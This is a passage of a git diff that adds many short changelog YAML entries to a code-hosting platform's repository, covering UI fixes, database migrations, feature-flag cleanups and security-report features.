+++ b/changelogs/unreleased/263276-enable-new_pipeline_form_prefilled_vars.yml
@@ -0,0 +1,5 @@
+---
+title: Add prefilled variables for run pipeline page
+merge_request: 49985
+author:
+type: added
diff --git a/changelogs/unreleased/263371-transition-id-section-should-include-help-text.yml b/changelogs/unreleased/263371-transition-id-section-should-include-help-text.yml
new file mode 100644
index 00000000000..593779ba1ff
--- /dev/null
+++ b/changelogs/unreleased/263371-transition-id-section-should-include-help-text.yml
@@ -0,0 +1,5 @@
+---
+title: Resolve Transition ID section should include help text
+merge_request: 49204
+author:
+type: added
diff --git a/changelogs/unreleased/263497-add-details-column-to-vulnerability-findings.yml b/changelogs/unreleased/263497-add-details-column-to-vulnerability-findings.yml
new file mode 100644
index 00000000000..1c927e1e000
--- /dev/null
+++ b/changelogs/unreleased/263497-add-details-column-to-vulnerability-findings.yml
@@ -0,0 +1,5 @@
+---
+title: Add details column to vulnerability findings table
+merge_request: 49005
+author:
+type: added
diff --git a/changelogs/unreleased/263497-add-validating-json-schema-draft-7.yml b/changelogs/unreleased/263497-add-validating-json-schema-draft-7.yml
new file mode 100644
index 00000000000..7447e61736b
--- /dev/null
+++ b/changelogs/unreleased/263497-add-validating-json-schema-draft-7.yml
@@ -0,0 +1,5 @@
+---
+title: Add validating jsonb fields with json schema draft-07
+merge_request: 49451
+author:
+type: added
diff --git a/changelogs/unreleased/26552-sort-compare-commit.yml b/changelogs/unreleased/26552-sort-compare-commit.yml
new file mode 100644
index 00000000000..7d5295acf1f
--- /dev/null
+++ b/changelogs/unreleased/26552-sort-compare-commit.yml
@@ -0,0 +1,5 @@
+---
+title: Sort commit/compare diff files directory first
+merge_request: 49136
+author:
+type: changed
diff --git a/changelogs/unreleased/26552-sort-diff-files.yml b/changelogs/unreleased/26552-sort-diff-files.yml
new file mode 100644
index 00000000000..0bda2489f7c
--- /dev/null
+++ b/changelogs/unreleased/26552-sort-diff-files.yml
@@ -0,0 +1,5 @@
+---
+title: Sort merge request diff files directory first
+merge_request: 49118
+author:
+type: changed
diff --git a/changelogs/unreleased/267118-add-modal-to-unblock.yml b/changelogs/unreleased/267118-add-modal-to-unblock.yml
new file mode 100644
index 00000000000..0b984794402
--- /dev/null
+++ b/changelogs/unreleased/267118-add-modal-to-unblock.yml
@@ -0,0 +1,5 @@
+---
+title: Add confirm modal to unblock user
+merge_request: 47442
+author:
+type: added
diff --git a/changelogs/unreleased/267118-add-reactivate-user-admin-approval-modal-to-glmodal.yml b/changelogs/unreleased/267118-add-reactivate-user-admin-approval-modal-to-glmodal.yml
new file mode 100644
index 00000000000..39454d2dbc5
--- /dev/null
+++ b/changelogs/unreleased/267118-add-reactivate-user-admin-approval-modal-to-glmodal.yml
@@ -0,0 +1,5 @@
+---
+title: Add confirm modal to reactivate user
+merge_request: 48173
+author:
+type: added
diff --git a/changelogs/unreleased/267514-trailing-newline.yml b/changelogs/unreleased/267514-trailing-newline.yml
new file mode 100644
index 00000000000..550000e930e
--- /dev/null
+++ b/changelogs/unreleased/267514-trailing-newline.yml
@@ -0,0 +1,5 @@
+---
+title: Add final newline on submit in blob editor
+merge_request: 49681
+author:
+type: fixed
diff --git a/changelogs/unreleased/267751-fix-stretched-flash-project-commit-show-page.yml b/changelogs/unreleased/267751-fix-stretched-flash-project-commit-show-page.yml
new file mode 100644
index 00000000000..1fd0ef33a56
--- /dev/null
+++ b/changelogs/unreleased/267751-fix-stretched-flash-project-commit-show-page.yml
@@ -0,0 +1,5 @@
+---
+title: Fix stretched flash in project commit show page
+merge_request: 48439
+author:
+type: fixed
diff --git a/changelogs/unreleased/267993-enable-by-default-true-in-api-helper-usage_data_-event-feature.yml b/changelogs/unreleased/267993-enable-by-default-true-in-api-helper-usage_data_-event-feature.yml
new file mode 100644
index 00000000000..f3206b40c0a
--- /dev/null
+++ b/changelogs/unreleased/267993-enable-by-default-true-in-api-helper-usage_data_-event-feature.yml
@@ -0,0 +1,5 @@
+---
+title: Enable by default usage data API tracking
+merge_request: 48607
+author:
+type: added
diff --git a/changelogs/unreleased/268040-fj-avoid-initializing-wiki-in-import-when-not-present.yml b/changelogs/unreleased/268040-fj-avoid-initializing-wiki-in-import-when-not-present.yml
new file mode 100644
index 00000000000..dddd2abee76
--- /dev/null
+++ b/changelogs/unreleased/268040-fj-avoid-initializing-wiki-in-import-when-not-present.yml
@@ -0,0 +1,5 @@
+---
+title: Avoid creating wiki empty repo when not present in export files
+merge_request: 48890
+author:
+type: changed
diff --git a/changelogs/unreleased/268282-remove-feature-flag.yml b/changelogs/unreleased/268282-remove-feature-flag.yml
new file mode 100644
index 00000000000..fc08aad3e2c
--- /dev/null
+++ b/changelogs/unreleased/268282-remove-feature-flag.yml
@@ -0,0 +1,5 @@
+---
+title: Enable file tree highlighting by default
+merge_request: 49356
+author:
+type: changed
diff --git a/changelogs/unreleased/270090-add-pk-to-elasticsearch-indexed-namespaces.yml b/changelogs/unreleased/270090-add-pk-to-elasticsearch-indexed-namespaces.yml
new file mode 100644
index 00000000000..710297eedd2
--- /dev/null
+++ b/changelogs/unreleased/270090-add-pk-to-elasticsearch-indexed-namespaces.yml
@@ -0,0 +1,5 @@
+---
+title: Add primary key to elasticsearch_indexed_namespaces
+merge_request: 48944
+author:
+type: changed
diff --git a/changelogs/unreleased/270090-add-pk-to-elasticsearch-indexed-projects.yml b/changelogs/unreleased/270090-add-pk-to-elasticsearch-indexed-projects.yml
new file mode 100644
index 00000000000..c40fcefc914
--- /dev/null
+++ b/changelogs/unreleased/270090-add-pk-to-elasticsearch-indexed-projects.yml
@@ -0,0 +1,5 @@
+---
+title: Add primary key to elasticsearch_indexed_projects
+merge_request: 48919
+author:
+type: changed
diff --git a/changelogs/unreleased/270093-add-primary-key-to-mrcc-diff-files.yml b/changelogs/unreleased/270093-add-primary-key-to-mrcc-diff-files.yml
new file mode 100644
index 00000000000..2bb5a496057
--- /dev/null
+++ b/changelogs/unreleased/270093-add-primary-key-to-mrcc-diff-files.yml
@@ -0,0 +1,5 @@
+---
+title: Add primary key to merge_request_context_commit_diff_files
+merge_request: 49024
+author:
+type: changed
diff --git a/changelogs/unreleased/270409-experiment-cleanup-drop-feature-filter-type-column.yml b/changelogs/unreleased/270409-experiment-cleanup-drop-feature-filter-type-column.yml
new file mode 100644
index 00000000000..b8a6cee8249
--- /dev/null
+++ b/changelogs/unreleased/270409-experiment-cleanup-drop-feature-filter-type-column.yml
@@ -0,0 +1,5 @@
+---
+title: Drop unused feature_filter_type experiment column
+merge_request: 48221
+author:
+type: deprecated
diff --git a/changelogs/unreleased/270583-improve-efficiency-when-creating-additional-boards-within-a-group-.yml b/changelogs/unreleased/270583-improve-efficiency-when-creating-additional-boards-within-a-group-.yml
new file mode 100644
index 00000000000..ff17adef4c6
--- /dev/null
+++ b/changelogs/unreleased/270583-improve-efficiency-when-creating-additional-boards-within-a-group-.yml
@@ -0,0 +1,5 @@
+---
+title: Boards - Remove default labels lists generation
+merge_request: 49071
+author:
+type: changed
diff --git a/changelogs/unreleased/271538-remove-vsa-usage-ping.yml b/changelogs/unreleased/271538-remove-vsa-usage-ping.yml
new file mode 100644
index 00000000000..6f24b58119b
--- /dev/null
+++ b/changelogs/unreleased/271538-remove-vsa-usage-ping.yml
@@ -0,0 +1,5 @@
+---
+title: Remove avg_cycle_analytics from usage ping
+merge_request: 47812
+author:
+type: other
diff --git a/changelogs/unreleased/272983-fix-security-mr-widget-forks.yml b/changelogs/unreleased/272983-fix-security-mr-widget-forks.yml
new file mode 100644
index 00000000000..9d3d4e3a56b
--- /dev/null
+++ b/changelogs/unreleased/272983-fix-security-mr-widget-forks.yml
@@ -0,0 +1,5 @@
+---
+title: Fix getting security report information on merge requests from forks
+merge_request: 49354
+author:
+type: fixed
diff --git a/changelogs/unreleased/273011-setting.yml b/changelogs/unreleased/273011-setting.yml
new file mode 100644
index 00000000000..3b871bc9d59
--- /dev/null
+++ b/changelogs/unreleased/273011-setting.yml
@@ -0,0 +1,5 @@
+---
+title: Add cloud_license_enabled column to application_settings
+merge_request: 47882
+author:
+type: added
diff --git a/changelogs/unreleased/273098-regulated-compliance-labels.yml b/changelogs/unreleased/273098-regulated-compliance-labels.yml
new file mode 100644
index 00000000000..0809c05cd15
--- /dev/null
+++ b/changelogs/unreleased/273098-regulated-compliance-labels.yml
@@ -0,0 +1,5 @@
+---
+title: Add regulated field to compliance management frameworks
+merge_request: 47761
+author:
+type: added
diff --git a/changelogs/unreleased/273168-admin-alert-500-dor.yml b/changelogs/unreleased/273168-admin-alert-500-dor.yml
new file mode 100644
index 00000000000..499847e4e56
--- /dev/null
+++ b/changelogs/unreleased/273168-admin-alert-500-dor.yml
@@ -0,0 +1,5 @@
+---
+title: Alert Service integration only available for projects.
+merge_request: 49561
+author:
+type: fixed
diff --git a/changelogs/unreleased/273270-save-button-should-have-a-different-color-on-press.yml b/changelogs/unreleased/273270-save-button-should-have-a-different-color-on-press.yml
new file mode 100644
index 00000000000..023289cc572
--- /dev/null
+++ b/changelogs/unreleased/273270-save-button-should-have-a-different-color-on-press.yml
@@ -0,0 +1,5 @@
+---
+title: Resolve Save button should have a different color on press
+merge_request: 48975
+author:
+type: fixed
diff --git a/changelogs/unreleased/273411-fj-fix-transient-error-in-branch-checking.yml b/changelogs/unreleased/273411-fj-fix-transient-error-in-branch-checking.yml
new file mode 100644
index 00000000000..7ce1c8d69d6
--- /dev/null
+++ b/changelogs/unreleased/273411-fj-fix-transient-error-in-branch-checking.yml
@@ -0,0 +1,5 @@
+---
+title: Avoid branch name checking when creating a new snippet
+merge_request: 48995
+author:
+type: fixed
diff --git a/changelogs/unreleased/273418-enable-security-report-downloads.yml b/changelogs/unreleased/273418-enable-security-report-downloads.yml
new file mode 100644
index 00000000000..07f2e16e22e
--- /dev/null
+++ b/changelogs/unreleased/273418-enable-security-report-downloads.yml
@@ -0,0 +1,5 @@
+---
+title: Allow downloading of security reports directly from merge request page
+merge_request: 49572
+author:
+type: added
diff --git a/changelogs/unreleased/273425-security-mr-widget-upgrade-popover.yml b/changelogs/unreleased/273425-security-mr-widget-upgrade-popover.yml
new file mode 100644
index 00000000000..81d0a8e6aa7
--- /dev/null
+++ b/changelogs/unreleased/273425-security-mr-widget-upgrade-popover.yml
@@ -0,0 +1,5 @@
+---
+title: Show upgrade popover in security widget in merge requests when the user is able to upgrade
+merge_request: 49613
+author:
+type: added
diff --git a/changelogs/unreleased/273470-create-csv-exports-table.yml b/changelogs/unreleased/273470-create-csv-exports-table.yml
new file mode 100644
index 00000000000..64109ad79c0
--- /dev/null
+++ b/changelogs/unreleased/273470-create-csv-exports-table.yml
@@ -0,0 +1,5 @@
+---
+title: Adds migration for user permission uploads
+merge_request: 47846
+author:
+type: added
diff --git a/changelogs/unreleased/273580-when-selecting-issue-type-and-closing-the-dropdown-the-issue-gets-.yml b/changelogs/unreleased/273580-when-selecting-issue-type-and-closing-the-dropdown-the-issue-gets-.yml
new file mode 100644
index 00000000000..6cf89bb53f4
--- /dev/null
+++ b/changelogs/unreleased/273580-when-selecting-issue-type-and-closing-the-dropdown-the-issue-gets-.yml
@@ -0,0 +1,6 @@
+---
+title: Adds type="button" to the close button for the issue type selector to prevent
+ accidental form submission
+merge_request: 48249
+author:
+type: fixed
diff --git a/changelogs/unreleased/273592-add-state-version.yml b/changelogs/unreleased/273592-add-state-version.yml
new file mode 100644
index 00000000000..49887943eeb
--- /dev/null
+++ b/changelogs/unreleased/273592-add-state-version.yml
@@ -0,0 +1,5 @@
+---
+title: Add additional fields to GraphQl terraform state version
+merge_request: 48411
+author:
+type: changed
diff --git a/changelogs/unreleased/273592-download-action.yml b/changelogs/unreleased/273592-download-action.yml
new file mode 100644
index 00000000000..a4a3dd00e50
--- /dev/null
+++ b/changelogs/unreleased/273592-download-action.yml
@@ -0,0 +1,5 @@
+---
+title: Add download action to the Terraform state listing
+merge_request: 48837
+author:
+type: added
diff --git a/changelogs/unreleased/273592-terraform-actions.yml b/changelogs/unreleased/273592-terraform-actions.yml
new file mode 100644
index 00000000000..9bb3a91003f
--- /dev/null
+++ b/changelogs/unreleased/273592-terraform-actions.yml
@@ -0,0 +1,5 @@
+---
+title: Add lock button to the Terraform State list view
+merge_request: 47842
+author:
+type: added
diff --git a/changelogs/unreleased/273592-terraform-delete.yml b/changelogs/unreleased/273592-terraform-delete.yml
new file mode 100644
index 00000000000..1f33e75ed89
--- /dev/null
+++ b/changelogs/unreleased/273592-terraform-delete.yml
@@ -0,0 +1,5 @@
+---
+title: Add delete button to terraform list vue
+merge_request: 48485
+author:
+type: added
diff --git a/changelogs/unreleased/273734-enable-ci_bridge_dependency_variables.yml b/changelogs/unreleased/273734-enable-ci_bridge_dependency_variables.yml
new file mode 100644
index 00000000000..6841e5c2ece
--- /dev/null
+++ b/changelogs/unreleased/273734-enable-ci_bridge_dependency_variables.yml
@@ -0,0 +1,5 @@
+---
+title: Implement passing dotenv variables to bridge jobs
+merge_request: 47905
+author:
+type: fixed
diff --git a/changelogs/unreleased/273751-fj-structured-data-for-groups.yml b/changelogs/unreleased/273751-fj-structured-data-for-groups.yml
new file mode 100644
index 00000000000..aaaf4034998
--- /dev/null
+++ b/changelogs/unreleased/273751-fj-structured-data-for-groups.yml
@@ -0,0 +1,5 @@
+---
+title: Add SEO structured markup for groups
+merge_request: 47374
+author:
+type: added
diff --git a/changelogs/unreleased/273777-fix-css-not-loading-on-jira-connect-app.yml b/changelogs/unreleased/273777-fix-css-not-loading-on-jira-connect-app.yml
new file mode 100644
index 00000000000..c9b03dd2f58
--- /dev/null
+++ b/changelogs/unreleased/273777-fix-css-not-loading-on-jira-connect-app.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Jira Connect styles not loaded when startup_css is enabled
+merge_request: 47043
+author:
+type: fixed
diff --git a/changelogs/unreleased/275962-update-users-rake.yml b/changelogs/unreleased/275962-update-users-rake.yml
new file mode 100644
index 00000000000..f8cd1a6753e
--- /dev/null
+++ b/changelogs/unreleased/275962-update-users-rake.yml
@@ -0,0 +1,5 @@
+---
+title: Add rake task to disable personal project and group creation
+merge_request: 47655
+author:
+type: added
diff --git a/changelogs/unreleased/275997-enable-ci_auto_cancel_all_pipelines.yml b/changelogs/unreleased/275997-enable-ci_auto_cancel_all_pipelines.yml
new file mode 100644
index 00000000000..176105299f6
--- /dev/null
+++ b/changelogs/unreleased/275997-enable-ci_auto_cancel_all_pipelines.yml
@@ -0,0 +1,5 @@
+---
+title: Allow canceling all pipelines with auto-cancel
+merge_request: 47906
+author:
+type: fixed
diff --git a/changelogs/unreleased/276417-replace-fa-exclamation-triangle-icons-with-gitlab-svg-warning-soli.yml b/changelogs/unreleased/276417-replace-fa-exclamation-triangle-icons-with-gitlab-svg-warning-soli.yml
new file mode 100644
index 00000000000..a2c5cd17431
--- /dev/null
+++ b/changelogs/unreleased/276417-replace-fa-exclamation-triangle-icons-with-gitlab-svg-warning-soli.yml
@@ -0,0 +1,5 @@
+---
+title: Replace fa-exclamation-triangle icons with GitLab SVG warning-solid icon
+merge_request: 47089
+author:
+type: changed
diff --git a/changelogs/unreleased/276432-refactor-container-registry-frontend-to-graphql-2.yml b/changelogs/unreleased/276432-refactor-container-registry-frontend-to-graphql-2.yml
new file mode 100644
index 00000000000..3621511b1a3
--- /dev/null
+++ b/changelogs/unreleased/276432-refactor-container-registry-frontend-to-graphql-2.yml
@@ -0,0 +1,5 @@
+---
+title: Add containerRepositoriesCount to project and group queries
+merge_request: 48685
+author:
+type: changed
diff --git a/changelogs/unreleased/276432-refactor-container-registry-frontend-to-graphql.yml b/changelogs/unreleased/276432-refactor-container-registry-frontend-to-graphql.yml
new file mode 100644
index 00000000000..bd2e0a05528
--- /dev/null
+++ b/changelogs/unreleased/276432-refactor-container-registry-frontend-to-graphql.yml
@@ -0,0 +1,5 @@
+---
+title: Refactor container registry list page to grapqhl
+merge_request: 48602
+author:
+type: changed
diff --git a/changelogs/unreleased/276432-remove-vuex.yml b/changelogs/unreleased/276432-remove-vuex.yml
new file mode 100644
index 00000000000..39b17cb0b26
--- /dev/null
+++ b/changelogs/unreleased/276432-remove-vuex.yml
@@ -0,0 +1,5 @@
+---
+title: Refactor container registry to use GraphQL API
+merge_request: 49584
+author:
+type: changed
diff --git a/changelogs/unreleased/276479-add-expiration_policy_completed_at-to-container-repositories.yml b/changelogs/unreleased/276479-add-expiration_policy_completed_at-to-container-repositories.yml
new file mode 100644
index 00000000000..664b0564973
--- /dev/null
+++ b/changelogs/unreleased/276479-add-expiration_policy_completed_at-to-container-repositories.yml
@@ -0,0 +1,5 @@
+---
+title: Add expiration policy completed at support in container repositories
+merge_request: 49924
+author:
+type: added
diff --git a/changelogs/unreleased/276491-follow-up-from-add-userdiscussionscount-to-issues-and-merge-reques.yml b/changelogs/unreleased/276491-follow-up-from-add-userdiscussionscount-to-issues-and-merge-reques.yml
new file mode 100644
index 00000000000..03c49383f5b
--- /dev/null
+++ b/changelogs/unreleased/276491-follow-up-from-add-userdiscussionscount-to-issues-and-merge-reques.yml
@@ -0,0 +1,5 @@
+---
+title: Move IssueType notes and discussions count logic to resolvers
+merge_request: 49160
+author:
+type: changed
diff --git a/changelogs/unreleased/276777-dep-proxy-feature-flag-removal.yml b/changelogs/unreleased/276777-dep-proxy-feature-flag-removal.yml
new file mode 100644
index 00000000000..0edfe42301a
--- /dev/null
+++ b/changelogs/unreleased/276777-dep-proxy-feature-flag-removal.yml
@@ -0,0 +1,5 @@
+---
+title: Dependency Proxy for private groups and Dependency Proxy authentication
+merge_request: 49519
+author:
+type: added
diff --git a/changelogs/unreleased/276897-add-external-issue-links.yml b/changelogs/unreleased/276897-add-external-issue-links.yml
new file mode 100644
index 00000000000..8f75c4edd11
--- /dev/null
+++ b/changelogs/unreleased/276897-add-external-issue-links.yml
@@ -0,0 +1,5 @@
+---
+title: Add Vulnerabilities External Link model
+merge_request: 48465
+author:
+type: added
diff --git a/changelogs/unreleased/276943-add-non-system-index-to-notes.yml b/changelogs/unreleased/276943-add-non-system-index-to-notes.yml
new file mode 100644
index 00000000000..870fa141db8
--- /dev/null
+++ b/changelogs/unreleased/276943-add-non-system-index-to-notes.yml
@@ -0,0 +1,5 @@
+---
+title: Update index for notes to include `system`
+merge_request: 48864
+author:
+type: performance
diff --git a/changelogs/unreleased/276949-graphql-be-fix.yml b/changelogs/unreleased/276949-graphql-be-fix.yml
new file mode 100644
index 00000000000..dd4013c2918
--- /dev/null
+++ b/changelogs/unreleased/276949-graphql-be-fix.yml
@@ -0,0 +1,5 @@
+---
+title: 'GraphQL: Add gitlay field to CiStatusAction'
+merge_request: 48892
+author:
+type: fixed
diff --git a/changelogs/unreleased/276949-pipeline-number-bugfix.yml b/changelogs/unreleased/276949-pipeline-number-bugfix.yml
new file mode 100644
index 00000000000..e4ed4adefe5
--- /dev/null
+++ b/changelogs/unreleased/276949-pipeline-number-bugfix.yml
@@ -0,0 +1,5 @@
+---
+title: Fix flex overflow bug
+merge_request: 48931
+author:
+type: fixed
diff --git a/changelogs/unreleased/277083-save-formatting-changes-in-separate-commit.yml b/changelogs/unreleased/277083-save-formatting-changes-in-separate-commit.yml
new file mode 100644
index 00000000000..d1faf162a0e
--- /dev/null
+++ b/changelogs/unreleased/277083-save-formatting-changes-in-separate-commit.yml
@@ -0,0 +1,5 @@
+---
+title: Use a separate commit to store formatting changes in the Static Site Editor
+merge_request: 49052
+author:
+type: changed
diff --git a/changelogs/unreleased/277130-add-a-new-column-called-finding_uuid-into-the-vulnerability_feedba.yml b/changelogs/unreleased/277130-add-a-new-column-called-finding_uuid-into-the-vulnerability_feedba.yml
new file mode 100644
index 00000000000..06c4318aaa1
--- /dev/null
+++ b/changelogs/unreleased/277130-add-a-new-column-called-finding_uuid-into-the-vulnerability_feedba.yml
@@ -0,0 +1,5 @@
+---
+title: Add new column `finding_uuid` into `vulnerability_feedback` table
+merge_request: 48923
+author:
+type: changed
diff --git a/changelogs/unreleased/277160-add-a-generic-packages-tab-to-the-packages-ui.yml b/changelogs/unreleased/277160-add-a-generic-packages-tab-to-the-packages-ui.yml
new file mode 100644
index 00000000000..04dfa3dbb4e
--- /dev/null
+++ b/changelogs/unreleased/277160-add-a-generic-packages-tab-to-the-packages-ui.yml
@@ -0,0 +1,5 @@
+---
+title: Add a generic packages tab to the Packages UI
+merge_request: 48121
+author:
+type: changed
diff --git a/changelogs/unreleased/280512-paginate-test-report.yml b/changelogs/unreleased/280512-paginate-test-report.yml
new file mode 100644
index 00000000000..5552dd672c6
--- /dev/null
+++ b/changelogs/unreleased/280512-paginate-test-report.yml
@@ -0,0 +1,5 @@
+---
+title: Paginate unit test report
+merge_request: 47953
+author:
+type: performance
diff --git a/changelogs/unreleased/280582-dependency-proxy-env-vars.yml b/changelogs/unreleased/280582-dependency-proxy-env-vars.yml
new file mode 100644
index 00000000000..752ff0e0b9b
--- /dev/null
+++ b/changelogs/unreleased/280582-dependency-proxy-env-vars.yml
@@ -0,0 +1,5 @@
+---
+title: Add dependency proxy predefined environment variables
+merge_request: 49133
+author:
+type: added
diff --git a/changelogs/unreleased/280589-set-vulnerabilities-as-dismissed-when-they-have-dismissed-feedback.yml b/changelogs/unreleased/280589-set-vulnerabilities-as-dismissed-when-they-have-dismissed-feedback.yml
new file mode 100644
index 00000000000..9b3d94b6679
--- /dev/null
+++ b/changelogs/unreleased/280589-set-vulnerabilities-as-dismissed-when-they-have-dismissed-feedback.yml
@@ -0,0 +1,5 @@
+---
+title: Set vulnerability as dismissed when there is dismissal feedback
+merge_request: 48795
+author:
+type: added
diff --git a/changelogs/unreleased/280596-user-admin-approval-reject-user.yml b/changelogs/unreleased/280596-user-admin-approval-reject-user.yml
new file mode 100644
index 00000000000..bffee96e3e2
--- /dev/null
+++ b/changelogs/unreleased/280596-user-admin-approval-reject-user.yml
@@ -0,0 +1,5 @@
+---
+title: Email user when registration request is rejected
+merge_request: 48185
+author:
+type: added
diff --git a/changelogs/unreleased/281023-fix-darkmode-searc.yml b/changelogs/unreleased/281023-fix-darkmode-searc.yml
new file mode 100644
index 00000000000..8cf7748820f
--- /dev/null
+++ b/changelogs/unreleased/281023-fix-darkmode-searc.yml
@@ -0,0 +1,5 @@
+---
+title: Global Search - Fix Dark Mode Font
+merge_request: 48927
+author:
+type: fixed
diff --git a/changelogs/unreleased/281026-set-live-preview-bg-white.yml b/changelogs/unreleased/281026-set-live-preview-bg-white.yml
new file mode 100644
index 00000000000..0a1a7c91fac
--- /dev/null
+++ b/changelogs/unreleased/281026-set-live-preview-bg-white.yml
@@ -0,0 +1,5 @@
+---
+title: Set Web IDE Live Preview default background to white
+merge_request: 49901
+author:
+type: fixed
diff --git a/changelogs/unreleased/281039-sidebar-wdith-on-large-screens.yml b/changelogs/unreleased/281039-sidebar-wdith-on-large-screens.yml
new file mode 100644
index 00000000000..421f90c2843
--- /dev/null
+++ b/changelogs/unreleased/281039-sidebar-wdith-on-large-screens.yml
@@ -0,0 +1,5 @@
+---
+title: Global Search - Fix Sidebar Whitespace
+merge_request: 48832
+author:
+type: changed
diff --git a/changelogs/unreleased/281178-pages-serve-from-deployments-configuration.yml b/changelogs/unreleased/281178-pages-serve-from-deployments-configuration.yml
new file mode 100644
index 00000000000..c9497f38bec
--- /dev/null
+++ b/changelogs/unreleased/281178-pages-serve-from-deployments-configuration.yml
@@ -0,0 +1,5 @@
+---
+title: Enable pages_serve_from_deployments FF by default
+merge_request: 48974
+author:
+type: changed
diff --git a/changelogs/unreleased/281449-feature-flag-enable-environment-auto-stop-start-on-create.yml b/changelogs/unreleased/281449-feature-flag-enable-environment-auto-stop-start-on-create.yml
new file mode 100644
index 00000000000..ed811c1af31
--- /dev/null
+++ b/changelogs/unreleased/281449-feature-flag-enable-environment-auto-stop-start-on-create.yml
@@ -0,0 +1,5 @@
+---
+title: Begin auto-stop countdown for environment after initial creation
+merge_request: 47702
+author:
+type: changed
diff --git a/changelogs/unreleased/281586_monorepo_nodejsscan.yml b/changelogs/unreleased/281586_monorepo_nodejsscan.yml
new file mode 100644
index 00000000000..1590bfb9b7d
--- /dev/null
+++ b/changelogs/unreleased/281586_monorepo_nodejsscan.yml
@@ -0,0 +1,5 @@
+---
+title: Update nodejs-scan rule to wildcard prefix
+merge_request: 48902
+author:
+type: changed
diff --git a/changelogs/unreleased/281727-feature-ci_job_line_links-default-true.yml b/changelogs/unreleased/281727-feature-ci_job_line_links-default-true.yml
new file mode 100644
index 00000000000..3243afcdbab
--- /dev/null
+++ b/changelogs/unreleased/281727-feature-ci_job_line_links-default-true.yml
@@ -0,0 +1,5 @@
+---
+title: Render http and https URLs as clickable links in Job logs
+merge_request: 48758
+author: Åukasz Groszkowski @falxcerebri
+type: added
diff --git a/changelogs/unreleased/281950-cleanup-count_uploads_size_in_storage_stats.yml b/changelogs/unreleased/281950-cleanup-count_uploads_size_in_storage_stats.yml
new file mode 100644
index 00000000000..6e0fd69eaa8
--- /dev/null
+++ b/changelogs/unreleased/281950-cleanup-count_uploads_size_in_storage_stats.yml
@@ -0,0 +1,5 @@
+---
+title: Removed count_uploads_size_in_storage_stats feature flag
+merge_request: 49998
+author:
+type: other
diff --git a/changelogs/unreleased/281953-fix-file-header-line-height.yml b/changelogs/unreleased/281953-fix-file-header-line-height.yml
new file mode 100644
index 00000000000..d29932bef41
--- /dev/null
+++ b/changelogs/unreleased/281953-fix-file-header-line-height.yml
@@ -0,0 +1,5 @@
+---
+title: Fix incorrect line height in file header
+merge_request: 48117
+author:
+type: fixed
diff --git a/changelogs/unreleased/282441-schedule-createevidenceworker-jobs-in-a-sliding-window.yml b/changelogs/unreleased/282441-schedule-createevidenceworker-jobs-in-a-sliding-window.yml
new file mode 100644
index 00000000000..4e3eb173428
--- /dev/null
+++ b/changelogs/unreleased/282441-schedule-createevidenceworker-jobs-in-a-sliding-window.yml
@@ -0,0 +1,5 @@
+---
+title: Schedule CreateEvidenceWorker jobs in a sliding window
+merge_request: 47638
+author:
+type: added
diff --git a/changelogs/unreleased/282506-mark-as-draft.yml b/changelogs/unreleased/282506-mark-as-draft.yml
new file mode 100644
index 00000000000..b0587856075
--- /dev/null
+++ b/changelogs/unreleased/282506-mark-as-draft.yml
@@ -0,0 +1,5 @@
+---
+title: Hide Mark as draft button in a merged MR even on mobile
+merge_request: 47678
+author: Takuya Noguchi
+type: fixed
diff --git a/changelogs/unreleased/282520-follow-up-enable-and-disable-merge-train-checkbox-based-on-pipelin.yml b/changelogs/unreleased/282520-follow-up-enable-and-disable-merge-train-checkbox-based-on-pipelin.yml
new file mode 100644
index 00000000000..cb2e347e9a9
--- /dev/null
+++ b/changelogs/unreleased/282520-follow-up-enable-and-disable-merge-train-checkbox-based-on-pipelin.yml
@@ -0,0 +1,5 @@
+---
+title: Add Merge Train Setting to the graphql api
+merge_request: 49402
+author:
+type: changed
diff --git a/changelogs/unreleased/283938-add-web_hooks-service-foreign-key.yml b/changelogs/unreleased/283938-add-web_hooks-service-foreign-key.yml
new file mode 100644
index 00000000000..6a380027ca0
--- /dev/null
+++ b/changelogs/unreleased/283938-add-web_hooks-service-foreign-key.yml
@@ -0,0 +1,5 @@
+---
+title: Add cascade delete foreign key to web_hooks on service_id without validation
+merge_request: 47821
+author:
+type: fixed
diff --git a/changelogs/unreleased/283938-cleanup-web_hooks-service-foreign-key.yml b/changelogs/unreleased/283938-cleanup-web_hooks-service-foreign-key.yml
new file mode 100644
index 00000000000..50e740434b0
--- /dev/null
+++ b/changelogs/unreleased/283938-cleanup-web_hooks-service-foreign-key.yml
@@ -0,0 +1,5 @@
+---
+title: Remove orphan service hooks
+merge_request: 48263
+author:
+type: fixed
diff --git a/changelogs/unreleased/283938_cascade_delete_inheriting_services.yml b/changelogs/unreleased/283938_cascade_delete_inheriting_services.yml
new file mode 100644
index 00000000000..25989863327
--- /dev/null
+++ b/changelogs/unreleased/283938_cascade_delete_inheriting_services.yml
@@ -0,0 +1,5 @@
+---
+title: Change services.inherit_from_id foreign key to ON DELETE CASCADE
+merge_request: 48163
+author:
+type: fixed
diff --git a/changelogs/unreleased/283941-remove-an-extra-details-on-project-top-page.yml b/changelogs/unreleased/283941-remove-an-extra-details-on-project-top-page.yml
new file mode 100644
index 00000000000..1d6ab02b7d7
--- /dev/null
+++ b/changelogs/unreleased/283941-remove-an-extra-details-on-project-top-page.yml
@@ -0,0 +1,5 @@
+---
+title: Remove "Details" from breadcrumb item and LD+JSON from Project top
+merge_request: 47817
+author: Takuya Noguchi
+type: changed
diff --git a/changelogs/unreleased/283947-fj-track-sse-edit-in-api.yml b/changelogs/unreleased/283947-fj-track-sse-edit-in-api.yml
new file mode 100644
index 00000000000..1af7c923360
--- /dev/null
+++ b/changelogs/unreleased/283947-fj-track-sse-edit-in-api.yml
@@ -0,0 +1,5 @@
+---
+title: Track MAU for SSE edit
+merge_request: 48377
+author:
+type: added
diff --git a/changelogs/unreleased/284008-remove-the-breadcrumb-on-subgroup-top-page.yml b/changelogs/unreleased/284008-remove-the-breadcrumb-on-subgroup-top-page.yml
new file mode 100644
index 00000000000..51ed2c064a0
--- /dev/null
+++ b/changelogs/unreleased/284008-remove-the-breadcrumb-on-subgroup-top-page.yml
@@ -0,0 +1,5 @@
+---
+title: Remove "Details" from breadcrumb and JSON+JD on Group top page
+merge_request: 47854
+author: Takuya Noguchi
+type: changed
diff --git a/changelogs/unreleased/284070-issue-list-dropdown-not-shown-in-boards-add-issue-modal.yml b/changelogs/unreleased/284070-issue-list-dropdown-not-shown-in-boards-add-issue-modal.yml
new file mode 100644
index 00000000000..858a7dac2e3
--- /dev/null
+++ b/changelogs/unreleased/284070-issue-list-dropdown-not-shown-in-boards-add-issue-modal.yml
@@ -0,0 +1,5 @@
+---
